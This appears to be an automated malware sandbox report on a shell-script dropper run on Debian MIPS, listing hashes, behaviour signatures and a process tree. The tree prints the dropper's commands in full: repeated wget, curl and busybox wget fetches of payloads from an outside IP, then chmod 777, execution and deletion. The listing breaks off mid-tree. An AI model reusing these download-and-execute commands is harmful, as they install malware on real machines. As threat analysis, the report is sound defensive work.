a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3

Analysis

max time kernel
138s
max time network
139s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/11/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3.sh
Size 10KB
Sample241113-c762maverb
SHA256 a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3
MD5 c6380198a4eb360c18933fd0f28f265d
SHA1 e2a3ec22e0098d4f0eeb6b9e9adc44324503badc
SHA512 157cec11202a896287b347a14a61e68568ee82530550303804dd9291e16d6a7f809a8e190ddaf302f766d567ad20e4ef4de87146546ac00fb335f946dcbbed22
SSDEEP 192:BAAcZvgoQIaVUqRSCyNpyrLLBSCyNp6eAcRgoQIaVp:BAAcZvgoQIaVUIrqAcRgoQIaVp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
974	chmod
890	chmod
902	chmod
914	chmod
926	chmod
932	chmod
815	chmod
842	chmod
866	chmod
950	chmod
962	chmod
938	chmod
968	chmod
836	chmod
854	chmod
878	chmod
848	chmod
956	chmod
830	chmod
920	chmod
944	chmod
908	chmod
824	chmod
860	chmod
884	chmod
734	chmod
872	chmod
896	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe	curl
File opened for modification	/tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq	curl
File opened for modification	/tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z	curl
File opened for modification	/tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO	curl
File opened for modification	/tmp/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P	curl
File opened for modification	/tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z	curl
File opened for modification	/tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb	curl
File opened for modification	/tmp/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4	curl
File opened for modification	/tmp/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4	curl
File opened for modification	/tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx	curl
File opened for modification	/tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY	curl
File opened for modification	/tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs	curl
File opened for modification	/tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl	curl
File opened for modification	/tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN	curl
File opened for modification	/tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy	curl
File opened for modification	/tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY	curl
File opened for modification	/tmp/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P	curl
File opened for modification	/tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl	curl
File opened for modification	/tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy	curl
File opened for modification	/tmp/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe	curl
File opened for modification	/tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp	curl
File opened for modification	/tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb	curl
File opened for modification	/tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs	curl
File opened for modification	/tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx	curl
File opened for modification	/tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO	curl
File opened for modification	/tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq	curl
File opened for modification	/tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN	curl
File opened for modification	/tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp	curl

/tmp/a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3.sh
/tmp/a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:733
- /bin/chmod
  chmod 777 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  ./5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:736
- /usr/bin/wget
  wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:814
- /bin/chmod
  chmod 777 LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  ./LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:823
- /bin/chmod
  chmod 777 uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  ./uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:829
- /bin/chmod
  chmod 777 lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  ./lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:835
- /bin/chmod
  chmod 777 jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  ./jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:841
- /bin/chmod
  chmod 777 I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  ./I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:844
- /usr/bin/wget
  wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:847
- /bin/chmod
  chmod 777 WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  ./WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:850
- /usr/bin/wget
  wget http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  PID:853
- /bin/chmod
  chmod 777 7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  ./7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm 7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  PID:856
- /usr/bin/wget
  wget http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  PID:859
- /bin/chmod
  chmod 777 pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  ./pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  PID:865
- /bin/chmod
  chmod 777 DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  ./DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  PID:868
- /usr/bin/wget
  wget http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  PID:871
- /bin/chmod
  chmod 777 zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  ./zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  PID:877
- /bin/chmod
  chmod 777 cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  ./cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  PID:883
- /bin/chmod
  chmod 777 WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  ./WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  PID:886
- /usr/bin/wget
  wget http://216.126.231.240/bins/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  PID:889
- /bin/chmod
  chmod 777 bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  ./bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:895
- /bin/chmod
  chmod 777 jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  ./jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:901
- /bin/chmod
  chmod 777 I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  ./I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:907
- /bin/chmod
  chmod 777 WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  ./WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  PID:913
- /bin/chmod
  chmod 777 7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  ./7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm 7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  PID:919
- /bin/chmod
  chmod 777 pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  ./pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
  2⤵
  PID:922
- /usr/bin/wget
  wget http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  PID:925
- /bin/chmod
  chmod 777 DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  ./DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  PID:931
- /bin/chmod
  chmod 777 zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  ./zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  PID:937
- /bin/chmod
  chmod 777 cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  ./cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  PID:943
- /bin/chmod
  chmod 777 WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  ./WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
  2⤵
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  PID:949
- /bin/chmod
  chmod 777 bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  ./bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
